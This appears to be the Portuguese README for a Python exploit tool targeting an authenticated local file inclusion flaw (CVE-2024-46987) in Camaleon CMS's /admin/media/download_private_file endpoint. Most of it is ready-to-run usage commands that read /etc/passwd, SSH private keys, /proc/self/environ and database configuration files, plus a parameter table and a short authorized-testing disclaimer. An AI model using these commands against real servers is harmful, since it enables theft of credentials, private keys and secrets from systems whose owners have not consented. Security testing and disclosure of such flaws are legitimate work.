
CVE-2024-46987 - Camaleon CMS LFI Exploit
Exploit de Inclusão de Arquivo Local (LFI) autenticado para Camaleon CMS.
O Camaleon CMS é vulnerável a um ataque LFI autenticado através do endpoint /admin/media/download_private_file. O parâmetro file não é devidamente sanitizado, permitindo path traversal para ler arquivos arbitrários do servidor.
pip install requests
# Print file to terminal (default)
python3 exploit.py -u http://example.com -f /etc/passwd -t "auth_token"
# Save to file
python3 exploit.py -u http://example.com -f /etc/passwd -t "auth_token" -o passwd.txt
# Read passwd file
python3 exploit.py -u https://example.com -f /etc/passwd -t "auth_token"
# Read SSH keys
python3 exploit.py -u https://example.com -f /home/user/.ssh/id_rsa -t "auth_token" -o id_rsa
# Read environment variables
python3 exploit.py -u https://example.com -f /proc/self/environ -t "auth_token"
# Read application config
python3 exploit.py -u https://example.com -f /var/www/html/config/database.yml -t "auth_token"
Esta ferramenta destina-se apenas a testes de segurança autorizados e fins educacionais. Use apenas em sistemas para os quais você tenha permissão explícita para testar.
| Parâmetro | Descrição |
|---|
-u, --url | URL alvo |
-f, --file | Arquivo para ler (ex.: /etc/passwd) |
-t, --token | Valor do cookie auth_token |
-o, --output | Nome do arquivo de saída (opcional, exibe no terminal se não definido) |